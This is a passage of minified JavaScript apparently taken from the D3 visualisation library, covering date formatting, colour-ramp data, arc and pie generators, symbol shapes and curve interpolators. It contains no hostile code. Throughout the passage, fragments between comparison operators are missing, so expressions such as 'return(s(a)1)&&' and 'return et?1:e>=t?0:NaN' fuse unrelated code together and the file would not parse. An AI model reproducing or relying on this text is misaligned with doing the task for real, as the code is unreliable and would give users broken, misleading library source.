$m(t,e){return Kg(t.getUTCHours()%12||12,e,2)}function qm(t,e){return Kg(1+Dg.count(Rg(t),t),e,3)}function Wm(t,e){return Kg(t.getUTCMilliseconds(),e,3)}function Hm(t,e){return Wm(t,e)+"000"}function Vm(t,e){return Kg(t.getUTCMonth()+1,e,2)}function Gm(t,e){return Kg(t.getUTCMinutes(),e,2)}function Xm(t,e){return Kg(t.getUTCSeconds(),e,2)}function Zm(t){var e=t.getUTCDay();return 0===e?7:e}function Km(t,e){return Kg(vg.count(Rg(t)-1,t),e,2)}function Qm(t){var e=t.getUTCDay();return e>=4||0===e?kg(t):kg.ceil(t)}function Jm(t,e){return t=Qm(t),Kg(kg.count(Rg(t),t)+(4===Rg(t).getUTCDay()),e,2)}function tv(t){return t.getUTCDay()}function ev(t,e){return Kg(bg.count(Rg(t)-1,t),e,2)}function nv(t,e){return Kg(t.getUTCFullYear()%100,e,2)}function rv(t,e){return Kg((t=Qm(t)).getUTCFullYear()%100,e,2)}function iv(t,e){return Kg(t.getUTCFullYear()%1e4,e,4)}function av(t,e){var n=t.getUTCDay();return Kg((t=n>=4||0===n?kg(t):kg.ceil(t)).getUTCFullYear()%1e4,e,4)}function ov(){return"+0000"}function sv(){return"%"}function cv(t){return+t}function uv(t){return Math.floor(+t/1e3)}function lv(t){return Ug=zg(t),$g=Ug.format,qg=Ug.parse,Wg=Ug.utcFormat,Hg=Ug.utcParse,Ug}lv({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function hv(t){return new Date(t)}function fv(t){return t instanceof Date?+t:+new Date(+t)}function dv(t,e,n,r,i,o,s,c,u){var l=ay(Qp,Qp),h=l.invert,f=l.domain,d=u(".%L"),p=u(":%S"),y=u("%I:%M"),g=u("%I %p"),m=u("%a %d"),v=u("%b %d"),b=u("%B"),x=u("%Y"),_=[[s,1,1e3],[s,5,5e3],[s,15,15e3],[s,30,3e4],[o,1,6e4],[o,5,3e5],[o,15,9e5],[o,30,18e5],[i,1,36e5],[i,3,108e5],[i,6,216e5],[i,12,432e5],[r,1,864e5],[r,2,1728e5],[n,1,6048e5],[e,1,2592e6],[e,3,7776e6],[t,1,31536e6]];function k(a){return(s(a)1)&&(t-=Math.floor(t));var e=Math.abs(t-.5);return ex.h=360*t-100,ex.s=1.5-1.5*e,ex.l=.8-.9*e,ex+""},rx=Ge(),ix=Math.PI/3,ax=2*Math.PI/3,ox=function(t){var e;return t=(.5-t)*Math.PI,rx.r=255*(e=Math.sin(t))*e,rx.g=255*(e=Math.sin(t+ix))*e,rx.b=255*(e=Math.sin(t+ax))*e,rx+""},sx=function(t){return t=Math.max(0,Math.min(1,t)),"rgb("+Math.max(0,Math.min(255,Math.round(34.61+t*(1172.33-t*(10793.56-t*(33300.12-t*(38394.49-14825.05*t)))))))+", "+Math.max(0,Math.min(255,Math.round(23.31+t*(557.33+t*(1225.33-t*(3574.96-t*(1073.77+707.56*t)))))))+", "+Math.max(0,Math.min(255,Math.round(27.2+t*(3211.1-t*(15327.97-t*(27814-t*(22569.18-6838.66*t)))))))+")"};function cx(t){var e=t.length;return function(n){return t[Math.max(0,Math.min(e-1,Math.floor(n*e)))]}}var ux=cx(jv("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")),lx=cx(jv("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")),hx=cx(jv("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")),fx=cx(jv("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921")),dx=function(t){return we(re(t).call(document.documentElement))},px=0;function yx(){return new gx}function gx(){this._="@"+(++px).toString(36)}gx.prototype=yx.prototype={constructor:gx,get:function(t){for(var e=this._;!(e in t);)if(!(t=t.parentNode))return;return t[e]},set:function(t,e){return t[this._]=e},remove:function(t){return this._ in t&&delete t[this._]},toString:function(){return this._}};var mx=function(t){return"string"==typeof t?new xe([document.querySelectorAll(t)],[document.documentElement]):new xe([null==t?[]:t],be)},vx=function(t,e){null==e&&(e=On().touches);for(var n=0,r=e?e.length:0,i=new Array(r);n1?0:t<-1?Sx:Math.acos(t)}function Nx(t){return t>=1?Ax:t<=-1?-Ax:Math.asin(t)}function Bx(t){return t.innerRadius}function Dx(t){return t.outerRadius}function Lx(t){return t.startAngle}function Ix(t){return t.endAngle}function Rx(t){return t&&t.padAngle}function Fx(t,e,n,r,i,a,o,s){var c=n-t,u=r-e,l=o-i,h=s-a,f=h*c-l*u;if(!(f*f<1e-12))return[t+(f=(l*(e-a)-h*(t-i))/f)*c,e+f*u]}function Px(t,e,n,r,i,a,o){var s=t-n,c=e-r,u=(o?a:-a)/Cx(s*s+c*c),l=u*c,h=-u*s,f=t+l,d=e+h,p=n+l,y=r+h,g=(f+p)/2,m=(d+y)/2,v=p-f,b=y-d,x=v*v+b*b,_=i-a,k=f*y-p*d,w=(b<0?-1:1)*Cx(wx(0,_*_*x-k*k)),T=(k*b-v*w)/x,E=(-k*v-b*w)/x,C=(k*b+v*w)/x,S=(-k*v+b*w)/x,A=T-g,M=E-m,O=C-g,N=S-m;return A*A+M*M>O*O+N*N&&(T=C,E=S),{cx:T,cy:E,x01:-l,y01:-h,x11:T*(i/_-1),y11:E*(i/_-1)}}var jx=function(){var t=Bx,e=Dx,n=bx(0),r=null,i=Lx,a=Ix,o=Rx,s=null;function c(){var c,u,l=+t.apply(this,arguments),h=+e.apply(this,arguments),f=i.apply(this,arguments)-Ax,d=a.apply(this,arguments)-Ax,p=xx(d-f),y=d>f;if(s||(s=c=$i()),h1e-12)if(p>Mx-1e-12)s.moveTo(h*kx(f),h*Ex(f)),s.arc(0,0,h,f,d,!y),l>1e-12&&(s.moveTo(l*kx(d),l*Ex(d)),s.arc(0,0,l,d,f,y));else{var g,m,v=f,b=d,x=f,_=d,k=p,w=p,T=o.apply(this,arguments)/2,E=T>1e-12&&(r?+r.apply(this,arguments):Cx(l*l+h*h)),C=Tx(xx(h-l)/2,+n.apply(this,arguments)),S=C,A=C;if(E>1e-12){var M=Nx(E/l*Ex(T)),O=Nx(E/h*Ex(T));(k-=2*M)>1e-12?(x+=M*=y?1:-1,_-=M):(k=0,x=_=(f+d)/2),(w-=2*O)>1e-12?(v+=O*=y?1:-1,b-=O):(w=0,v=b=(f+d)/2)}var N=h*kx(v),B=h*Ex(v),D=l*kx(_),L=l*Ex(_);if(C>1e-12){var I,R=h*kx(b),F=h*Ex(b),P=l*kx(x),j=l*Ex(x);if(p1e-12?A>1e-12?(g=Px(P,j,N,B,h,A,y),m=Px(R,F,D,L,h,A,y),s.moveTo(g.cx+g.x01,g.cy+g.y01),A1e-12&&k>1e-12?S>1e-12?(g=Px(D,L,R,F,l,-S,y),m=Px(N,B,P,j,l,-S,y),s.lineTo(g.cx+g.x01,g.cy+g.y01),S=l;--h)s.point(g[h],m[h]);s.lineEnd(),s.areaEnd()}y&&(g[u]=+t(f,u,c),m[u]=+n(f,u,c),s.point(e?+e(f,u,c):g[u],r?+r(f,u,c):m[u]))}if(d)return s=null,d+""||null}function u(){return qx().defined(i).curve(o).context(a)}return c.x=function(n){return arguments.length?(t="function"==typeof n?n:bx(+n),e=null,c):t},c.x0=function(e){return arguments.length?(t="function"==typeof e?e:bx(+e),c):t},c.x1=function(t){return arguments.length?(e=null==t?null:"function"==typeof t?t:bx(+t),c):e},c.y=function(t){return arguments.length?(n="function"==typeof t?t:bx(+t),r=null,c):n},c.y0=function(t){return arguments.length?(n="function"==typeof t?t:bx(+t),c):n},c.y1=function(t){return arguments.length?(r=null==t?null:"function"==typeof t?t:bx(+t),c):r},c.lineX0=c.lineY0=function(){return u().x(t).y(n)},c.lineY1=function(){return u().x(t).y(r)},c.lineX1=function(){return u().x(e).y(n)},c.defined=function(t){return arguments.length?(i="function"==typeof t?t:bx(!!t),c):i},c.curve=function(t){return arguments.length?(o=t,null!=a&&(s=o(a)),c):o},c.context=function(t){return arguments.length?(null==t?a=s=null:s=o(a=t),c):a},c},Hx=function(t,e){return et?1:e>=t?0:NaN},Vx=function(t){return t},Gx=function(){var t=Vx,e=Hx,n=null,r=bx(0),i=bx(Mx),a=bx(0);function o(o){var s,c,u,l,h,f=o.length,d=0,p=new Array(f),y=new Array(f),g=+r.apply(this,arguments),m=Math.min(Mx,Math.max(-Mx,i.apply(this,arguments)-g)),v=Math.min(Math.abs(m)/f,a.apply(this,arguments)),b=v*(m<0?-1:1);for(s=0;s0&&(d+=h);for(null!=e?p.sort((function(t,n){return e(y[t],y[n])})):null!=n&&p.sort((function(t,e){return n(o[t],o[e])})),s=0,u=d?(m-f*b)/d:0;s0?h*u:0)+b,y[c]={data:o[c],index:s,value:h,startAngle:g,endAngle:l,padAngle:v};return y}return o.value=function(e){return arguments.length?(t="function"==typeof e?e:bx(+e),o):t},o.sortValues=function(t){return arguments.length?(e=t,n=null,o):e},o.sort=function(t){return arguments.length?(n=t,e=null,o):n},o.startAngle=function(t){return arguments.length?(r="function"==typeof t?t:bx(+t),o):r},o.endAngle=function(t){return arguments.length?(i="function"==typeof t?t:bx(+t),o):i},o.padAngle=function(t){return arguments.length?(a="function"==typeof t?t:bx(+t),o):a},o},Xx=Kx(zx);function Zx(t){this._curve=t}function Kx(t){function e(e){return new Zx(t(e))}return e._curve=t,e}function Qx(t){var e=t.curve;return t.angle=t.x,delete t.x,t.radius=t.y,delete t.y,t.curve=function(t){return arguments.length?e(Kx(t)):e()._curve},t}Zx.prototype={areaStart:function(){this._curve.areaStart()},areaEnd:function(){this._curve.areaEnd()},lineStart:function(){this._curve.lineStart()},lineEnd:function(){this._curve.lineEnd()},point:function(t,e){this._curve.point(e*Math.sin(t),e*-Math.cos(t))}};var Jx=function(){return Qx(qx().curve(Xx))},t_=function(){var t=Wx().curve(Xx),e=t.curve,n=t.lineX0,r=t.lineX1,i=t.lineY0,a=t.lineY1;return t.angle=t.x,delete t.x,t.startAngle=t.x0,delete t.x0,t.endAngle=t.x1,delete t.x1,t.radius=t.y,delete t.y,t.innerRadius=t.y0,delete t.y0,t.outerRadius=t.y1,delete t.y1,t.lineStartAngle=function(){return Qx(n())},delete t.lineX0,t.lineEndAngle=function(){return Qx(r())},delete t.lineX1,t.lineInnerRadius=function(){return Qx(i())},delete t.lineY0,t.lineOuterRadius=function(){return Qx(a())},delete t.lineY1,t.curve=function(t){return arguments.length?e(Kx(t)):e()._curve},t},e_=function(t,e){return[(e=+e)*Math.cos(t-=Math.PI/2),e*Math.sin(t)]},n_=Array.prototype.slice;function r_(t){return t.source}function i_(t){return t.target}function a_(t){var e=r_,n=i_,r=Ux,i=$x,a=null;function o(){var o,s=n_.call(arguments),c=e.apply(this,s),u=n.apply(this,s);if(a||(a=o=$i()),t(a,+r.apply(this,(s[0]=c,s)),+i.apply(this,s),+r.apply(this,(s[0]=u,s)),+i.apply(this,s)),o)return a=null,o+""||null}return o.source=function(t){return arguments.length?(e=t,o):e},o.target=function(t){return arguments.length?(n=t,o):n},o.x=function(t){return arguments.length?(r="function"==typeof t?t:bx(+t),o):r},o.y=function(t){return arguments.length?(i="function"==typeof t?t:bx(+t),o):i},o.context=function(t){return arguments.length?(a=null==t?null:t,o):a},o}function o_(t,e,n,r,i){t.moveTo(e,n),t.bezierCurveTo(e=(e+r)/2,n,e,i,r,i)}function s_(t,e,n,r,i){t.moveTo(e,n),t.bezierCurveTo(e,n=(n+i)/2,r,n,r,i)}function c_(t,e,n,r,i){var a=e_(e,n),o=e_(e,n=(n+i)/2),s=e_(r,n),c=e_(r,i);t.moveTo(a[0],a[1]),t.bezierCurveTo(o[0],o[1],s[0],s[1],c[0],c[1])}function u_(){return a_(o_)}function l_(){return a_(s_)}function h_(){var t=a_(c_);return t.angle=t.x,delete t.x,t.radius=t.y,delete t.y,t}var f_={draw:function(t,e){var n=Math.sqrt(e/Sx);t.moveTo(n,0),t.arc(0,0,n,0,Mx)}},d_={draw:function(t,e){var n=Math.sqrt(e/5)/2;t.moveTo(-3*n,-n),t.lineTo(-n,-n),t.lineTo(-n,-3*n),t.lineTo(n,-3*n),t.lineTo(n,-n),t.lineTo(3*n,-n),t.lineTo(3*n,n),t.lineTo(n,n),t.lineTo(n,3*n),t.lineTo(-n,3*n),t.lineTo(-n,n),t.lineTo(-3*n,n),t.closePath()}},p_=Math.sqrt(1/3),y_=2*p_,g_={draw:function(t,e){var n=Math.sqrt(e/y_),r=n*p_;t.moveTo(0,-n),t.lineTo(r,0),t.lineTo(0,n),t.lineTo(-r,0),t.closePath()}},m_=Math.sin(Sx/10)/Math.sin(7*Sx/10),v_=Math.sin(Mx/10)*m_,b_=-Math.cos(Mx/10)*m_,x_={draw:function(t,e){var n=Math.sqrt(.8908130915292852*e),r=v_*n,i=b_*n;t.moveTo(0,-n),t.lineTo(r,i);for(var a=1;a<5;++a){var o=Mx*a/5,s=Math.cos(o),c=Math.sin(o);t.lineTo(c*n,-s*n),t.lineTo(s*r-c*i,c*r+s*i)}t.closePath()}},__={draw:function(t,e){var n=Math.sqrt(e),r=-n/2;t.rect(r,r,n,n)}},k_=Math.sqrt(3),w_={draw:function(t,e){var n=-Math.sqrt(e/(3*k_));t.moveTo(0,2*n),t.lineTo(-k_*n,-n),t.lineTo(k_*n,-n),t.closePath()}},T_=Math.sqrt(3)/2,E_=1/Math.sqrt(12),C_=3*(E_/2+1),S_={draw:function(t,e){var n=Math.sqrt(e/C_),r=n/2,i=n*E_,a=r,o=n*E_+n,s=-a,c=o;t.moveTo(r,i),t.lineTo(a,o),t.lineTo(s,c),t.lineTo(-.5*r-T_*i,T_*r+-.5*i),t.lineTo(-.5*a-T_*o,T_*a+-.5*o),t.lineTo(-.5*s-T_*c,T_*s+-.5*c),t.lineTo(-.5*r+T_*i,-.5*i-T_*r),t.lineTo(-.5*a+T_*o,-.5*o-T_*a),t.lineTo(-.5*s+T_*c,-.5*c-T_*s),t.closePath()}},A_=[f_,d_,g_,__,x_,w_,S_],M_=function(){var t=bx(f_),e=bx(64),n=null;function r(){var r;if(n||(n=r=$i()),t.apply(this,arguments).draw(n,+e.apply(this,arguments)),r)return n=null,r+""||null}return r.type=function(e){return arguments.length?(t="function"==typeof e?e:bx(e),r):t},r.size=function(t){return arguments.length?(e="function"==typeof t?t:bx(+t),r):e},r.context=function(t){return arguments.length?(n=null==t?null:t,r):n},r},O_=function(){};function N_(t,e,n){t._context.bezierCurveTo((2*t._x0+t._x1)/3,(2*t._y0+t._y1)/3,(t._x0+2*t._x1)/3,(t._y0+2*t._y1)/3,(t._x0+4*t._x1+e)/6,(t._y0+4*t._y1+n)/6)}function B_(t){this._context=t}B_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:N_(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1)}(this._line||0!==this._line&&1===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:N_(this,t,e)}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e}};var D_=function(t){return new B_(t)};function L_(t){this._context=t}L_.prototype={areaStart:O_,areaEnd:O_,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:this._context.moveTo(this._x2,this._y2),this._context.closePath();break;case 2:this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break;case 3:this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4)}},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x2=t,this._y2=e;break;case 1:this._point=2,this._x3=t,this._y3=e;break;case 2:this._point=3,this._x4=t,this._y4=e,this._context.moveTo((this._x0+4*this._x1+t)/6,(this._y0+4*this._y1+e)/6);break;default:N_(this,t,e)}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e}};var I_=function(t){return new L_(t)};function R_(t){this._context=t}R_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||0!==this._line&&3===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+t)/6,r=(this._y0+4*this._y1+e)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:N_(this,t,e)}this._x0=this._x1,this._x1=t,this._y0=this._y1,this._y1=e}};var F_=function(t){return new R_(t)};function P_(t,e){this._basis=new B_(t),this._beta=e}P_.prototype={lineStart:function(){this._x=[],this._y=[],this._basis.lineStart()},lineEnd:function(){var t=this._x,e=this._y,n=t.length-1;if(n>0)for(var r,i=t[0],a=e[0],o=t[n]-i,s=e[n]-a,c=-1;++c<=n;)r=c/n,this._basis.point(this._beta*t[c]+(1-this._beta)*(i+r*o),this._beta*e[c]+(1-this._beta)*(a+r*s));this._x=this._y=null,this._basis.lineEnd()},point:function(t,e){this._x.push(+t),this._y.push(+e)}};var j_=function t(e){function n(t){return 1===e?new B_(t):new P_(t,e)}return n.beta=function(e){return t(+e)},n}(.85);function Y_(t,e,n){t._context.bezierCurveTo(t._x1+t._k*(t._x2-t._x0),t._y1+t._k*(t._y2-t._y0),t._x2+t._k*(t._x1-e),t._y2+t._k*(t._y1-n),t._x2,t._y2)}function z_(t,e){this._context=t,this._k=(1-e)/6}z_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:Y_(this,this._x1,this._y1)}(this._line||0!==this._line&&1===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2,this._x1=t,this._y1=e;break;case 2:this._point=3;default:Y_(this,t,e)}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var U_=function t(e){function n(t){return new z_(t,e)}return n.tension=function(e){return t(+e)},n}(0);function $_(t,e){this._context=t,this._k=(1-e)/6}$_.prototype={areaStart:O_,areaEnd:O_,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:this._context.moveTo(this._x3,this._y3),this._context.closePath();break;case 2:this._context.lineTo(this._x3,this._y3),this._context.closePath();break;case 3:this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5)}},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:Y_(this,t,e)}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var q_=function t(e){function n(t){return new $_(t,e)}return n.tension=function(e){return t(+e)},n}(0);function W_(t,e){this._context=t,this._k=(1-e)/6}W_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._point=0},lineEnd:function(){(this._line||0!==this._line&&3===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:Y_(this,t,e)}this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var H_=function t(e){function n(t){return new W_(t,e)}return n.tension=function(e){return t(+e)},n}(0);function V_(t,e,n){var r=t._x1,i=t._y1,a=t._x2,o=t._y2;if(t._l01_a>1e-12){var s=2*t._l01_2a+3*t._l01_a*t._l12_a+t._l12_2a,c=3*t._l01_a*(t._l01_a+t._l12_a);r=(r*s-t._x0*t._l12_2a+t._x2*t._l01_2a)/c,i=(i*s-t._y0*t._l12_2a+t._y2*t._l01_2a)/c}if(t._l23_a>1e-12){var u=2*t._l23_2a+3*t._l23_a*t._l12_a+t._l12_2a,l=3*t._l23_a*(t._l23_a+t._l12_a);a=(a*u+t._x1*t._l23_2a-e*t._l12_2a)/l,o=(o*u+t._y1*t._l23_2a-n*t._l12_2a)/l}t._context.bezierCurveTo(r,i,a,o,t._x2,t._y2)}function G_(t,e){this._context=t,this._alpha=e}G_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x2,this._y2);break;case 3:this.point(this._x2,this._y2)}(this._line||0!==this._line&&1===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){if(t=+t,e=+e,this._point){var n=this._x2-t,r=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(n*n+r*r,this._alpha))}switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;break;case 